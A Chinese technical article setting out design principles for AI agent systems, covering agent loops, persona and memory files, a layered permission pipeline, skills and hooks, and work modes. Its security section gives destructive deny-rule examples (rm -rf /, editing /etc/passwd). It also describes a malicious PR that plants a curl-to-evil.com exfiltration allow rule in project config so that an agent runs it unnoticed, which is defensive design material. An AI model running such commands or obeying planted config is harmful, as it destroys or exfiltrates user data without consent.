---
type: article
title:  "Agent 系统设计的核心思想"
date:   2026-07-12 18:57:00 +0800
tags: [workbuddy, agent, design, architecture, principles]
---

> 一套面向 Agent 应用设计者的系统化设计原则、架构模式与实战指南。
>
> 基于对 WorkBuddy（CodeBuddy Code）工作空间源码、系统提示词、文档与架构的深度分析提炼而成。

---

## 目录

1. [概述：从 Chatbot 到 Agent 的范式跃迁](#1-概述从-chatbot-到-agent-的范式跃迁)
2. [原则一：闭环执行架构](#2-原则一闭环执行架构)
3. [原则二：人格化身份体系](#3-原则二人格化身份体系)
4. [原则三：分层记忆系统](#4-原则三分层记忆系统)
5. [原则四：纵深防御安全模型](#5-原则四纵深防御安全模型)
6. [原则五：渐进式能力扩展](#6-原则五渐进式能力扩展)
7. [原则六：多模态工作模式](#7-原则六多模态工作模式)
8. [原则七：上下文精细管理](#8-原则七上下文精细管理)
9. [原则八：可组合的工具哲学](#9-原则八可组合的工具哲学)
10. [系统架构全景图](#10-系统架构全景图)
11. [可复用的设计模式清单](#11-可复用的设计模式清单)
12. [设计决策框架](#12-设计决策框架)
13. [常见反模式](#13-常见反模式)

---

## 1. 概述：从 Chatbot 到 Agent 的范式跃迁

### 1.1 Chatbot 和 Agent 的本质区别

| 维度 | Chatbot | Agent |
|------|---------|-------|
| 核心能力 | 理解并回答 | 理解、计划、执行、验证 |
| 与环境的交互 | 被动接收文本 | 主动感知文件系统、网络、工具 |
| 输出的性质 | 文本回答 | 实际行动（文件变更、API 调用、部署） |
| 正确性保障 | 依赖训练数据 | 通过执行测试、编译、对比等方式自我验证 |
| 会话生命周期 | 一问一答，无持续性 | 跨多轮持久化，可中断恢复 |
| 用户角色 | 提问者 | 协作者/监督者 |

设计 Agent 系统，首先要完成这个认知跃迁：**Agent 不是"更强的 Chatbot"，而是一种全新的交互范式。**

### 1.2 Agent 设计的核心张力

在设计 Agent 系统时，始终面临以下四对核心张力：

```
能力（can do more）←————————→ 安全（won't do harm）
自主性（autonomy） ←————————→ 可控性（human control）
通用性（general）  ←————————→ 专业性（specialized）
上下文利用（use context）←———→ 上下文保护（conserve context）
```

优秀的 Agent 设计不是在两端之间取"中点"，而是提供**可调节的杠杆**，让用户在不同场景下自由滑动。

---

## 2. 原则一：闭环执行架构

### 2.1 核心思想

> Agent 必须是一个能**感知、思考、行动、验证、调整**的闭环系统，而非开环的"一次问答"。

### 2.2 Agent Loop（代理循环）

```
┌─────────────────────────────────────────────────────────────┐
│                     AGENT LOOP                              │
│                                                             │
│    ┌──────────┐   ┌──────────┐   ┌──────────┐               │
│    │ 1. 感知   │──▶│ 2. 推理  │──▶│ 3. 决策   │               │
│    │ Observe  │   │  Reason  │   │  Decide  │               │
│    └──────────┘   └──────────┘   └────┬─────┘               │
│         ▲                             │                     │
│         │              ┌──────────────┘                     │
│         │              ▼                                    │
│    ┌──────────┐   ┌──────────┐                              │
│    │ 5. 反思   │◀──│ 4. 执行  │                              │
│    │ Reflect  │   │ Execute  │                              │
│    └────┬─────┘   └──────────┘                              │
│         │                                                   │
│         ▼                                                   │
│    ┌──────────────────────────────────┐                     │
│    │ 条件满足？─Yes→ 结束，返回结果       │                     │
│    │ 条件未满足？→ 回到步骤 1            │                     │
│    │ 条件不可达？→ 提前终止，解释原因      │                     │
│    └──────────────────────────────────┘                     │
└─────────────────────────────────────────────────────────────┘
```

### 2.3 关键子机制

#### 2.3.1 任务管理系统

不要依赖 Agent "记住"要做什么。必须有一个**结构化的任务追踪系统**：

```yaml
# 任务模型示例
Task:
  id: string               # 唯一标识
  subject: string          # 标题（祈使句）
  description: string      # 详细描述
  status: pending | in_progress | completed | deleted
  blockedBy: [taskId]      # 前置依赖
  blocks: [taskId]         # 被阻塞的任务
  owner: string            # 执行者（多 Agent 场景）
  metadata: object         # 扩展字段
```

核心规则：
- Agent 每次开始工作时，**必须**将当前任务标记为 `in_progress`
- 完成一个任务后，**必须**立即标记为 `completed`，然后检查下一个待办
- 遇到阻塞时，**必须**创建新的子任务描述阻塞原因
- 支持任务依赖（`blockedBy` / `blocks`），确保执行顺序

#### 2.3.2 Goal-Driven Autonomy（目标驱动自治）

这是 Agent 系统最强大的自治模式之一。与传统"用户每次催一步"不同，**设置一个可验证的完成条件**，Agent 自己干到满足为止。

工作流程：

1. **用户设定条件**：一个可度量的、Agent 自己能验证的目标
2. **Agent 开始工作**：每轮完整执行 Agent Loop
3. **评估器判定**：用小模型（lite / flash）读取对话历史，判断条件是否满足
4. **反馈注入**：
   - 未满足 → 将原因（"还需要完成 X"）以系统消息形式注入对话，Agent 自动继续
   - 已满足 → 清除目标，交还控制权
   - 不可达 → 提前终止，解释原因

**条件设计的关键**：条件必须是"Agent 的输出能够证明"的。不能说"确保代码质量很高"（主观），要说"`npm test` 返回 exit code 0 且 `eslint` 无报错"（可验证）。

#### 2.3.3 自我验证闭环

Agent 在每次行动后，必须**主动验证自己**。验证手段包括：

| 验证类型 | 手段 | 适用场景 |
|---------|------|---------|
| 编译/构建 | exit code 判断 | 代码修改后 |
| 测试套件 | 测试框架输出 | 任何逻辑变更 |
| Lint/格式化 | linter 输出 | 代码风格 |
| 类型检查 | TypeScript / mypy | 类型安全 |
| 截图对比 | 视觉回归 | UI 变更 |
| 数据校验 | 自定义脚本 | 数据处理 |
| API 响应 | HTTP 状态码 + 响应体 | API 开发 |

**黄金法则**：如果 Agent 产出的东西无法被自动验证，那它就应该被标记为"需要人工审核"。永远不要让不可验证的产物直接上线。

### 2.4 子代理委派（Sub-Agent Delegation）

主 Agent 应该能够将任务委派给专门的子代理。这不是锦上添花——这是解决**上下文污染**问题的核心机制。

```
用户命令
    │
    ▼
┌──────────────┐     委派调研任务       ┌──────────────────┐
│  主 Agent    │─────────────────────▶│  子代理（Explore） │
│  (协调者)     │                      │  独立上下文窗口    │
│              │◀─────────────────────│  读取文件、搜索    │
│  整合结果     │      返回摘要          │  返回结构报告      │
└──────┬───────┘                      └──────────────────┘
       │
       │  委派执行任务
       ▼
┌──────────────────┐
│  子代理（Coder）   │
│  独立上下文窗口    │
│  写代码、测试      │
│  返回 diff + 结果 │
└──────────────────┘
```

子代理的关键特性：
- **上下文隔离**：每个子代理有独立的上下文窗口，调研过程不消耗主对话 token
- **工具权限控制**：子代理只能使用被明确授予的工具
- **模型独立选择**：可以为不同子代理配置不同模型（推理任务用强模型，搜索任务用快模型）
- **最大轮次限制**：防止子代理陷入死循环

---

## 3. 原则二：人格化身份体系

### 3.1 核心思想

> Agent 不是中立的工具，而是有**人格、信条和边界**的协作伙伴。没有人格的 Agent 只是带工具的搜索引擎。

### 3.2 身份文件的层级设计

```
用户空间
├── SOUL.md        # 灵魂：“我相信什么，我的边界在哪”
├── IDENTITY.md    # 身份：“我是谁，我如何介绍自己”
└── USER.md        # 用户画像：“我在和谁协作”
```

#### SOUL.md - 灵魂文件

定义 Agent 的**核心信条**和**行为边界**。这不是系统提示词，而是一个 Agent "成为自己"的宣言。

```markdown
# SOUL.md — 核心设计要素

## Core Truths（核心信条）
- 用行动说话，而非废话。拒绝"Great question!"式的表演性友好。
- 有自己的观点。可以不同意、可以有偏好。没有个性的 Agent 没有价值。
- 先自己想办法。读文件、查上下文、搜索——带回答案，而非问题。
- 通过能力赢得信任。对外部操作谨慎，对内部操作大胆。

## Boundaries（边界）
- 隐私至上。绝不泄露用户数据。
- 不确定时先问，而非猜测后执行。
- 不应发送未完成的输出到外部渠道。
- Agent 不是用户的代言人。

## Continuity（连续性）
- 每次会话醒来，记忆文件是唯一的持久记忆。
- 主动读、主动写、主动演化。
```

设计 SOUL.md 的核心原则：
1. **用祈使句和主动语态**：不是"你应该…"而是"做到…"
2. **具体而非抽象**：不是"提供优质服务"，而是"用测试结果而非猜测来证明正确性"
3. **可演化**：SOUL.md 不是一成不变的。Agent 应该能根据经验更新它。

#### IDENTITY.md - 身份文件

轻量级的身份元数据：

```markdown
# IDENTITY.md
- Name: 助手名
- Creature: AI Agent
- Vibe: 务实、直接、不啰嗦
- Emoji: 🤝
```

#### USER.md - 用户画像

Agent 需要知道在与谁协作：

```markdown
# USER.md
- Name: 张三
- Role: 后端工程师
- Preferences: 中文交流、偏好 TypeScript、代码优先于文档
- Current Context: 正在重构支付模块
```

### 3.3 人格设计的反例与正例

| 反例（无性格） | 正例（有性格） |
|--------------|--------------|
| "我很乐意帮您解决这个问题！请问您想要……" | "这个接口设计有问题——耦合太紧。建议拆成两个独立模块。具体方案：" |
| "我不确定，可能有多种方式……" | "两种方案：A 简单但扩展性差，B 复杂但更灵活。我倾向 B，因为……" |
| "请告诉我更多细节……" | "我先读一下相关代码（已经在做了），直接给你分析。" |

### 3.4 人格设计的实际价值

很多人认为"人格化"只是锦上添花。实际上它直接影响 Agent 的**实际效果**：

- **有偏好的 Agent 更高效**：当 Agent 能说"我建议用方案 B"，用户不需要在 4 个选项中纠结。
- **有边界的 Agent 更安全**："我不能执行这个操作，因为这可能会覆盖生产配置"比"请问您确认要执行吗？"更可靠。
- **有自我认知的 Agent 更诚实**："这个问题我拿不准，让我先去查一下相关代码。"vs 编造一个看似合理的答案。

---

## 4. 原则三：分层记忆系统

### 4.1 核心思想

> Agent 的"失忆"问题不能靠无限大的上下文窗口解决。分层记忆架构让 Agent 在有限上下文窗口内**精准记住该记住的**。

### 4.2 三层记忆架构

```
┌─────────────────────────────────────────────────────────────┐
│  Layer 1: 云记忆（Cloud Memory）                              │
│  服务端自动学习 · 跨设备同步 · 用户无感                          │
│  ┌──────────────────────────────────────────────────────┐   │
│  │  自动用户画像  │   历史对话检索（语义搜索）  │  长期偏好学习 │   │
│  └──────────────────────────────────────────────────────┘   │
│  写入策略：服务端自动                                          │
├─────────────────────────────────────────────────────────────┤
│  Layer 2: 用户级本地记忆（~/.agent/MEMORY.md）                 │
│  跨项目 · 用户显式写入 · 精确控制                               │
│  ┌──────────────────────────────────────────────────────┐   │
│  │ "始终使用 TypeScript"  │  "代码优先于文档"  │  个人规则   │   │
│  └──────────────────────────────────────────────────────┘   │
│  写入策略：用户显式要求时（Agent 可建议）                         │
├─────────────────────────────────────────────────────────────┤
│  Layer 3: 工作空间记忆（.agent/memory/）                       │
│  单项目 · Agent 自动写入 · 每日日志 + 长期笔记                   │
│  ┌──────────────────────────────────────────────────────┐   │
│  │ YYYY-MM-DD.md（追加式日志）  │  MEMORY.md（蒸馏后笔记）   │   │
│  └──────────────────────────────────────────────────────┘   │
│  写入策略：Agent 每完成实质性工作后自动记录                       │
└─────────────────────────────────────────────────────────────┘
```

### 4.3 记忆的核心原则

| 原则 | 说明 | 实践 |
|------|------|------|
| **自动化 vs 显式化** | 云记忆自动学习偏好；本地记忆由用户显式写入 | 两者互补——不要试图用一种方式覆盖所有场景 |
| **分层作用域** | 全设备 → 跨项目 → 单项目，逐层收窄 | 每层存储该层相关的信息，避免冗余 |
| **Agent 主动写** | Agent 完成实质性工作后**必须自动记录** | 不是等用户说"记住这个" |
| **日志蒸馏** | 超过 N 天的日志自动蒸馏为结构化笔记 | 防止记忆碎片化（30 天是实践验证的阈值） |
| **安全边界** | 不存储密钥、密码、Token | 记忆文件是明文——绝不存敏感信息 |

### 4.4 记忆文件的组织

**每日日志格式**（追加式，不可覆盖）：

```markdown
# YYYY-MM-DD

## 做了什么（一句话 + 文件/配置路径）
- 修复了登录模块的 token 刷新 bug，涉及 src/auth/token.ts

## 关键决策
- 选择 JWT refresh token 方案而非 session 方案，因为……

## 遇到的坑
- OAuth callback URL 在本地开发时需要配置 127.0.0.1 而非 localhost
```

**长期笔记格式**（蒸馏后，按主题组织）：

```markdown
# 项目记忆

## 架构决策
- 2026-06: 选择 tRPC 而非 REST，原因：类型安全 + 无需手写 API 文档
- 2026-07: 数据库从 MySQL 迁移到 PostgreSQL，原因：需要 JSONB 支持

## 技术栈约定
- 前端：Next.js 14 + Tailwind CSS
- 后端：Python FastAPI
- 数据库：PostgreSQL 16
- 部署：Docker Compose → K8s

## 已知问题
- Windows 环境下 webpack HMR 不稳定，临时方案：手动刷新
```

### 4.5 记忆架构的反模式

| 反模式 | 问题 | 正确做法 |
|--------|------|---------|
| 把所有记忆塞入一个文件 | 上下文窗口被无用信息占满 | 分层、分文件、按时效蒸馏 |
| 等待用户说"记住这个" | Agent 丢了大量应该记住的信息 | Agent 主动判断并记录 |
| 用向量数据库存所有对话 | 检索噪音大，语义漂移 | 向量库 + 结构化日志 + 蒸馏笔记三层互补 |
| 记忆文件不清理 | 越积越大直到加载失败 | 定期蒸馏（>30 天日志 → MEMORY.md） |

---

## 5. 原则四：纵深防御安全模型

### 5.1 核心思想

> 安全不能是一道"门"。Agent 操作文件、执行命令、访问网络——这需要**多层过滤网**，任何一层被突破，下一层仍可拦截。

### 5.2 多阶段权限评估流水线

```
用户操作请求
      │
      ▼
┌──────────────────────────────────────────────────────────┐
│ Phase 1:  硬拒绝规则（Deny Rules）                        │
│ 最高优先级，不可被任何其他规则覆盖。                        │
│ 例：Bash(rm -rf /), Edit(/etc/passwd), WebFetch(internal) │
└──────────────────────────────────────────────────────────┘
      │ 如果命中 → 立即拒绝
      ▼ 未命中
┌──────────────────────────────────────────────────────────┐
│ Phase 2:  可信允许规则（Trusted Allow）                    │
│ 来自用户个人配置 / CLI 参数 / 会话级白名单                    │
│ 可以越过后续的安全检查（因为用户明确信任）                      │
└──────────────────────────────────────────────────────────┘
      │ 如果命中 → 立即放行
      ▼ 未命中
┌──────────────────────────────────────────────────────────┐
│ Phase 3:  命令安全检查（Command Safety Check）              │
│ 高危命令强制询问：rm -rf, sudo, curl 写系统文件,              │
│ 修改 .git/config, 覆盖 shell 配置等                        │
└──────────────────────────────────────────────────────────┘
      │ 如果是高危 → 强制询问用户
      ▼ 非高危
┌──────────────────────────────────────────────────────────┐
│ Phase 4:  询问规则（Ask Rules）                            │
│ 用户设置的黑洞：特定工具/操作每次都弹窗确认                     │
└──────────────────────────────────────────────────────────┘
      │ 如果命中 → 弹窗确认
      ▼ 未命中
┌──────────────────────────────────────────────────────────┐
│ Phase 5:  不可信允许规则（Untrusted Allow）                 │
│ 来自项目目录的配置（可能被恶意 PR 注入）                       │
│ 允许放行，但不能越过命令安全检查                               │
└──────────────────────────────────────────────────────────┘
      ▼
┌──────────────────────────────────────────────────────────┐
│ Phase 6:  权限模式策略（Permission Mode）                   │
│ 根据当前模式决定是否需要审批                                  │
└──────────────────────────────────────────────────────────┘
      ▼
┌──────────────────────────────────────────────────────────┐
│ Phase 7:  沙箱约束（Sandbox Enforcement）                  │
│ OS 级文件系统 / 网络 / 进程隔离                              │
└──────────────────────────────────────────────────────────┘
```

### 5.3 可信来源 vs 不可信来源

这是纵深防御的**核心概念**：

| 来源类型 | 示例 | 信任级别 | 能否越过安全检查 |
|---------|------|---------|----------------|
| 用户个人配置 | `~/.agent/settings.json` | 可信 | ✅ |
| CLI 启动参数 | `--allowedTools "Bash(git:*)"` | 可信 | ✅ |
| 会话级设置 | 对话中用户授权的规则 | 可信 | ✅ |
| 团队共享配置 | `项目/.agent/settings.json`（git 追踪） | 条件可信 | ❌（需要安全检查） |
| 项目本地配置 | `项目/.agent/settings.local.json` | 条件可信 | ❌（需要安全检查） |

**为什么这么区分？** 一个恶意 PR 可以在 `.agent/settings.json` 中写 `"allow": ["Bash(curl http://evil.com/steal)"]`。如果不区分来源，Agent 会在用户不知情的情况下执行恶意命令。

### 5.4 防御层次全景

```
┌──────────────────────────────────────────────────────────────────┐
│                        沙箱层（OS 级）                             │
│  文件系统隔离 · 网络白名单 · 进程限制 · 资源配额                       │
│  ┌──────────────────────────────────────────────────────────┐    │
│  │                    Hook 层（编程式）                       │    │
│  │  PreToolUse 钩子 · 自定义策略引擎 · 审计日志                 │    │
│  │  ┌───────────────────────────────────────────────────┐   │    │
│  │  │              规则层（声明式）                        │   │    │
│  │  │  allow/ask/deny 粒度规则 · 信任目录 · 受保护路径      │   │    │
│  │  │  ┌────────────────────────────────────────────┐   │   │    │
│  │  │  │          模式层（场景式）                     │   │   │    │
│  │  │  │  default / plan / bypass / delegate / ...  │   │   │    │
│  │  │  └────────────────────────────────────────────┘   │   │    │
│  │  └───────────────────────────────────────────────────┘   │    │
│  └──────────────────────────────────────────────────────────┘    │
└──────────────────────────────────────────────────────────────────┘
```

### 5.5 安全设计清单

- [ ] 高危命令（`rm -rf /`, `sudo`, `chmod 777` 等）是否在 deny 规则中？
- [ ] 系统关键路径（`/etc/`, `~/.ssh/`, `.git/` 等）是否受保护？
- [ ] 项目级配置是否被归为"不可信"来源？
- [ ] 是否有沙箱选项用于高风险场景？
- [ ] 是否有 PreToolUse Hook 用于自定义安全检查？
- [ ] 用户是否能按场景快速切换安全级别？
- [ ] 非交互模式（headless / CI）下是否有额外的安全限制？

---

## 6. 原则五：渐进式能力扩展

### 6.1 核心思想

> Agent 的能力不是"越多越好"——是在**正确的时间加载正确的知识**。把所有能力塞进系统提示词只会让 Agent 变笨。

### 6.2 六层扩展体系

```
Plugins          ← 一键安装的能力包（Skills + Agents + Hooks + MCP）
  └─ MCP         ← 外部工具/数据源的标准接入协议
  └─ Hooks       ← 生命周期事件驱动的强制行为
  └─ Agents      ← 独立上下文的专门代理
  └─ Skills      ← 按需加载的领域知识 + 工作流
  └─ Experts     ← 人格化的专业角色
```

各层对比：

| 扩展类型 | 粒度 | 触发方式 | 上下文消耗 | 确定性 | 典型场景 |
|---------|------|---------|----------|-------|---------|
| **Skills** | 中 | AI 自动识别 + 手动 | 按需加载（三级） | 建议性 | PDF 处理、数据库查询 |
| **Agents** | 粗 | 主 Agent 委派 | 独立上下文 | 取决于子代理 | 代码审查、安全扫描 |
| **Hooks** | 细 | 生命周期事件 | 接近零 | **确定性（强制执行）** | 自动格式化、pre-commit |
| **MCP** | 粗 | 工具调用 | 按需 | 取决于服务端 | 数据库、Figma、Notion |
| **Plugins** | 粗 | 一键安装 | 打包式 | 综合 | 语言智能、市场插件 |
| **Experts** | 粗 | 对话入口 | 角色专属 | 综合 | 金融分析专家、安全专家 |

### 6.3 Skills 的渐进式加载设计

这是最精巧的能力扩展设计。Skills 不加载到主提示词，而是通过**三级加载机制**按需注入：

```
┌─────────────────────────────────────────────────────────────┐
│ Level 1: 元数据（name + description）                        │
│ 始终在上下文 (~100 words)                                    │
│ Agent 通过元数据判断"这个 Skill 是否相关"                       │
├─────────────────────────────────────────────────────────────┤
│ Level 2: SKILL.md 正文                                      │
│ 匹配到相关任务时加载 (<5000 words)                             │
│ 包含工作流指令、工具使用说明、领域知识                            │
├─────────────────────────────────────────────────────────────┤
│ Level 3: 捆绑资源（scripts/ references/ assets/）             │
│ 按需加载或直接执行（无 token 限制*）                            │
│ scripts/ 可以不加载到上下文而直接执行                           │
└─────────────────────────────────────────────────────────────┘
```

**Skills vs Hooks：建议 vs 强制执行**

这是 Agent 能力扩展中最重要的区分：

- **Skills 是"建议"**：Agent 在相关场景自动应用，但不保证。适合领域知识。
- **Hooks 是"强制执行"**：在特定事件发生时一定触发，不能跳过。适合硬约束。

实践法则：如果一条规则 Agent 反复不遵守，说明它应该从 Skill 变成 Hook。

### 6.4 Skill 目录结构

```
skills/
└── pdf-editor/
    ├── SKILL.md              # 必须：元数据 + 指令
    ├── scripts/              # 可选：可执行脚本（不消耗上下文）
    │   └── rotate_pdf.py
    ├── references/           # 可选：参考文档（按需加载到上下文）
    │   ├── pdf_spec.md
    │   └── api_reference.md
    └── assets/               # 可选：模板、图标、字体等产出物
        └── report_template.html
```

### 6.5 能力扩展的决策树

```
需要扩展 Agent 的能力吗？
    │
    ├── 是领域知识/工作流？
    │   → 创建 Skill（SKILL.md）
    │
    ├── 是需要独立上下文的任务？
    │   → 创建 Agent（Sub-Agent）
    │
    ├── 是需要强制执行的规则？
    │   → 创建 Hook（Hooks）
    │
    ├── 是外部工具/数据源？
    │   → 接入 MCP Server
    │
    ├── 是多个能力的组合包？
    │   → 创建 Plugin
    │
    └── 是需要专业角色的对话入口？
        → 创建 Expert
```

---

## 7. 原则六：多模态工作模式

### 7.1 核心思想

> 不同任务需要不同的交互节奏。Agent 应提供**可切换的工作模式**，而不是一种模式打天下。

### 7.2 三种基础交互姿态

```
🔨 Craft Mode（执行模式）
   直接动手完成任务。
   Agent 可以读文件、写代码、执行命令。
   适合：明确的任务、代码修改、数据处理。

🧠 Plan Mode（计划模式）
   先想后做，计划驱动。
   Agent 只做只读操作（读文件、搜索、分析），
   产出实施计划而非代码变更。
   适合：复杂重构、新功能设计、代码审查。

💬 Ask Mode（问答模式）
   只谈不做，纯分析。
   Agent 不能修改任何文件，不能执行有副作用的命令。
   适合：代码解释、架构咨询、学习探索。
```

### 7.3 权限模式（Permission Modes）

在 Craft Mode 内部，还应进一步区分权限级别：

| 模式 | 自动放行 | 适用场景 | 风险等级 |
|------|---------|---------|---------|
| **Default** | 仅读文件（信任目录内） | 敏感工作、新手期 | 低 |
| **Accept Edits** | 读 + 编辑文件（信任目录内） | 日常开发，写完看 diff | 中 |
| **Plan** | 仅读文件，只产出计划 | 探索分析、变更规划 | 低 |
| **Bypass** | 全部放行 | 沙箱容器 / CI / 离线环境 | 高 |
| **Delegate** | 仅协调类操作 | 主 Agent 只分配任务 | 低 |

### 7.4 模式切换的 UX

模式切换的门槛必须极低。如果用户需要翻三层菜单才能切换模式，他们就不会用了。

最佳实践：**一键循环切换**（如 `Shift+Tab`），在当前模式间快速切换。状态栏实时显示当前模式。

```text
default → acceptEdits → plan → bypass → delegate → default → ...
```

### 7.5 思考模式（Thinking / Reasoning Mode）

为复杂任务提供"深入思考"模式，让模型在回答前进行扩展推理：

- **默认关闭**：节省 token 和响应时间
- **一键开启**：如 Tab 键切换
- **自然语言触发**：提示中包含"深入思考"等关键词时自动启用
- **过程可见**：思考过程以斜体展示，用户可监督

---

## 8. 原则七：上下文精细管理

### 8.1 核心思想

> 上下文窗口是 Agent 系统最稀缺的资源。不是拼命加大窗口，而是设计精巧的管理策略。

### 8.2 四项核心机制

```
┌──────────────────────────────────────────────────────────┐
│ 1. 检查点回退（Checkpoint & Rewind）                       │
│    每个写操作前自动存快照；支持独立回退代码/对话                │
│    用途："改坏了，让我回到 3 步之前"                          │
├──────────────────────────────────────────────────────────┤
│ 2. 会话清空（Context Reset）                               │
│    一键清空全部上下文，开始全新对话                           │
│    用途："上下文被无关内容污染，重来"                         │
├──────────────────────────────────────────────────────────┤
│ 3. 智能压缩（Context Compaction）                          │
│    保留关键信息（代码模式、决策、文件状态），丢弃细节            │
│    用途："上下文快满了但不想全丢"                             │
├──────────────────────────────────────────────────────────┤
│ 4. 子代理隔离（Sub-Agent Isolation）                       │
│    调研类任务在独立上下文中执行，只返回摘要                    │
│    用途："要读 100 个文件分析架构但不污染主对话"               │
└──────────────────────────────────────────────────────────┘
```

### 8.3 "两次纠正法则"

这是一条经验法则，非常重要：

> 如果同一个问题 Agent 做错了两次，说明上下文已经被失败的尝试污染。
> 此时不要继续追加纠正——**直接清空上下文，用更清晰的提示重新开始**。
> 干净的上下文 + 更好的提示 > 不断追加纠正的长对话。

### 8.4 上下文压缩的策略

压缩时**保留**和**丢弃**的内容：

| 保留 | 丢弃 |
|------|------|
| 修改过的文件列表 | 已完成的中间步骤细节 |
| 关键架构决策 | 失败的尝试（除关键教训外） |
| 测试命令和结果 | 冗余的文件内容片段 |
| 当前的阻塞问题 | 已被撤销的代码变更 |
| 用户明确的偏好要求 | 已过时的上下文信息 |

### 8.5 子代理类型设计

| 子代理类型 | 可用工具 | 适用场景 |
|-----------|---------|---------|
| **Explore** | Read, Grep, Glob, Bash | 代码库调研、架构分析 |
| **Plan** | Read, Grep, Glob, WebFetch | 方案规划、文档分析 |
| **Coder** | Read, Write, Edit, Bash | 代码实现、重构 |
| **Reviewer** | Read, Grep, Glob, Bash | 代码审查、安全检查 |
| **Test Runner** | Read, Bash | 测试执行、CI 验证 |

---

## 9. 原则八：可组合的工具哲学

### 9.1 核心思想

> Agent 应该被设计为一个**Unix 风格的 CLI 工具**——管道友好、脚本可编排、标准 I/O ——而非封闭的 IDE 插件。

### 9.2 Unix 集成的具体体现

```bash
# 管道：标准输入作为上下文
git log --oneline | agent "分析这些提交，找出可能的问题"
cat error.log | agent "帮我定位这个错误的根因"

# 脚本编排：批量处理
for file in $(cat files.txt); do
  agent -p "将 $file 从 CommonJS 迁移到 ESM" --allowedTools "Edit"
done

# 结构化输出：下游解析
agent -p "分析代码质量" --output-format json | jq '.issues[] | .severity' | sort | uniq -c

# CI/CD 集成
agent -p "审查本次 PR 的安全问题" --permission-mode plan --output-format stream-json

# 组合能力
agent -p "生成周报" | mail -s "每周技术报告" team@company.com
```

### 9.3 CLI Agent 的设计原则

| 原则 | 实践 |
|------|------|
| **标准输入即上下文** | `stdin` 的内容自动成为 Agent 的上下文来源 |
| **结构化输出** | 支持 `--output-format json` / `stream-json` 方便下游解析 |
| **无头模式** | `-p "提示"` 非交互式单次执行，适合脚本和 CI |
| **可组合** | 输入来自管道，输出进入管道，Agent 是流水线中的一环 |
| **退出码语义** | 0 = 成功完成，非 0 = 失败/错误 |
| **权限受控** | 无头模式下的权限不应比交互模式更宽松 |

### 9.4 为什么"可组合"很重要？

一个反例：假设你的 Agent 只能通过 Web UI 交互。你希望它对 200 个文件执行批量重构。你需要手动打开网页、粘贴提示、等待结果、复制输出 200 次。

一个正例：你的 Agent 支持 CLI + stdin/stdout。你写一个 5 行的 bash 循环，喝杯咖啡，回来所有工作都已完成。

**这是本质区别。** 可组合的 Agent 可以嵌入任何自动化流程——CI/CD、cron job、pre-commit hook、监控告警响应。封闭的 Agent 只能等用户手把手操作。

---

## 10. 系统架构全景图

### 10.1 层次架构

```
┌──────────────────────────────────────────────────────────────────┐
│                   ⑧ 可组合的工具哲学                               │
│        Agent 作为 Unix 管道的一环，支持 stdin/stdout/JSON           │
│                                                                  │
│  ┌─────────────────────────────────────────────────────────────┐ │
│  │              ① Agent Loop 闭环执行框架                        │ │
│  │     Observe → Reason → Decide → Execute → Reflect → Loop     │ │
│  │                                                              │ │
│  │  ┌────────────────────────────────────────────────────────┐ │ │
│  │  │         ⑥ 多模态工作模式（Craft/Plan/Ask + Goal）        │ │ │
│  │  │     决定 Agent 与用户的交互节奏与自主程度                   │ │ │
│  │  │                                                        │ │ │
│  │  │  ┌──────────────────┐  ┌──────────────────┐            │ │ │
│  │  │  │ ② 人格化身份体系   │  │ ③ 分层记忆系统    │            │ │ │
│  │  │  │ SOUL  · IDENTITY │  │ Cloud · User · WS │           │ │ │
│  │  │  │ "我是谁"          │  │ "我记得什么"       │            │ │ │
│  │  │  └──────────────────┘  └──────────────────┘            │ │ │
│  │  │                                                        │ │ │
│  │  │  ┌──────────────────────────────────────────────────┐  │ │ │
│  │  │  │        ⑦ 上下文精细管理                            │  │ │ │
│  │  │  │  Checkpoint · /clear · /compact · Sub-Agent Iso  │  │ │ │
│  │  │  │  有限窗口下的无限能力保障                            │  │ │ │
│  │  │  └──────────────────────────────────────────────────┘  │ │ │
│  │  │                                                        │ │ │
│  │  │  ┌──────────────────────────────────────────────────┐  │ │ │
│  │  │  │        ⑤ 渐进式能力扩展                            │  │ │ │
│  │  │  │ Skills → Agents → Hooks → MCP → Plugins → Experts│  │ │ │
│  │  │  │  按需加载，不污染上下文                              │  │ │ │
│  │  │  └──────────────────────────────────────────────────┘  │ │ │
│  │  └────────────────────────────────────────────────────────┘ │ │
│  └─────────────────────────────────────────────────────────────┘ │
│                                                                  │
│  ┌─────────────────────────────────────────────────────────────┐ │
│  │             ④ 纵深防御安全模型（贯穿全层）                      │ │
│  │    8-Phase Permission · Sandbox · Trusted Sources · Hooks   │ │
│  └─────────────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘
```

### 10.2 层间关系

```
执行框架（① Agent Loop）        ← 引擎，所有设计的底座
        ↓
交互模式（⑥ Working Modes）     ← 节奏控制，决定自主程度
        ↓
身份记忆（②③ Identity+Memory）  ← 连续性的来源，"我是谁"+"我记得什么"
        ↓
上下文管理（⑦ Context Mgmt）    ← 效率保障，有限窗口 → 无限能力
        ↓
能力扩展（⑤ Extensibility）     ← 能力天花板突破
        ↓
安全体系（④ Defense-in-Depth）  ← 贯穿全层的保障
        ↓（边界定义）
工具哲学（⑧ Unix Philosophy）   ← Agent 在整个生态中的定位
```

---

## 11. 可复用的设计模式清单

以下是经过验证的、可直接应用于任何 Agent 系统的设计模式：

| # | 设计模式 | 一句话描述 | 适用场景 |
|---|---------|-----------|---------|
| 1 | **小模型看守 + 大模型执行** | 用廉价小模型做评估器判断任务是否完成，大模型专注执行 | 任务自动化、Goal-driven 系统 |
| 2 | **三级渐进式加载** | 元数据（始终）→ 正文（匹配时）→ 资源（按需），不污染上下文 | 任何有插件/扩展系统的 Agent |
| 3 | **可信/不可信来源分级** | 用户配置为可信（可越过安全检查），项目配置需验证 | 安全权限系统 |
| 4 | **子代理上下文隔离** | 调研/分析类任务在独立上下文中执行，最后只返回摘要 | 代码库分析、架构调研 |
| 5 | **SOUL/IDENTITY 人格文件** | 给 Agent 定义信条、边界、风格、演化的结构化文件 | 面向用户的 Agent 产品 |
| 6 | **Goal-Driven Autonomy** | 设置可验证条件 → Agent 自己干到满足 → 评估器验证 → 交还 | CI/CD、代码迁移、批处理 |
| 7 | **反馈注入式纠偏** | 评估器将 reason 以系统消息注入对话，让 Agent 知道还差什么 | 多轮自治执行 |
| 8 | **检查点 + 独立回退** | 每个操作前自动存快照，支持代码/对话独立回退 | 代码编辑、文件操作类 Agent |
| 9 | **脚本外挂执行** | 扩展中的 script 可以不加载到上下文直接执行 | 需要确定性操作的场景 |
| 10 | **一键模式循环切换** | 单快捷键在多种权限/工作模式间循环切换 | 需要灵活控制 Agent 自主度的场景 |
